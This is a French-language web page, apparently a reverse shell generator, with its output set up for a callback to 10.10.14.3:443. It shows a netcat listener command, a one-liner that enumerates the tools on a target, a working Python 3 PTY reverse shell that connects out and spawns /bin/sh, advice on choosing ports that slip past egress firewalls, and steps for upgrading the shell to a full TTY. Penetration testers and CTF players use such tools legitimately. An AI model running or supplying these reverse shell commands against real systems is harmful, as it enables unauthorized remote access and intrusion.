Skip to content
reverseshell

Générateur de reverse shell

Endpoint de callback
10.10.14.3:443
IP
Port

443 et 80 passent la plupart des pare-feu sortants ; les ports hauts atypiques sont souvent bloqués.

Commande d'écoute
Commande à exécuter
$nc -lvnp 443
Profil de la cible
OS cible
Architecture CPU
Accès sortant
Outils disponibles sur la cible

Laissez les outils non sélectionnés si vous n'êtes pas sûr de ce qui existe sur la cible.

Pas sûr ? Lancez ceci sur la cible pour lister les outils disponibles et leurs chemins complets :

$for b in sh bash python3 python perl ruby node php nc ncat socat openssl curl wget awk; do p=$(command -v "$b" 2>/dev/null || ls /usr/bin/$b /bin/$b /usr/local/bin/$b /usr/sbin/$b /sbin/$b 2>/dev/null | head -1); [ -n "$p" ] && echo "$b: $p"; done

Mode
Runtime / outil
Chemin du shell
Haute compatibilité 100%Totalement interactif — un TTY à l'arrivée.
Technique10 / 138
Callback TCP reversemulti

Python 3 PTY · multi · Reverse shell Python 3 qui spawn le shell sélectionné via pty.

Transformation

Seules les transformations compatibles sont affichées.

Sortie de commande

$python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Écouteur

$nc -lvnp 443
+ Pas installé ? Installer l'outil du listenersudo apt install netcat-openbsd # macOS: brew install netcat

Amélioration de session
Recette d'amélioration

Remplacez la taille fixe par les dimensions de votre terminal : stty rows $(tput lines) columns $(tput cols)

Étapes d'amélioration
$python3 -c 'import pty; pty.spawn("/bin/sh")' || python -c 'import pty; pty.spawn("/bin/sh")'
$Ctrl-Z
$stty raw -echo; fg
$reset
$export TERM=xterm-256color
$stty rows 40 columns 120
Nettoyage de session
Assistant de nettoyage
Étapes de nettoyage
$export SHELL=/bin/sh
$export TERM=xterm-256color
$export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
$alias ll='ls -la'
$ python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'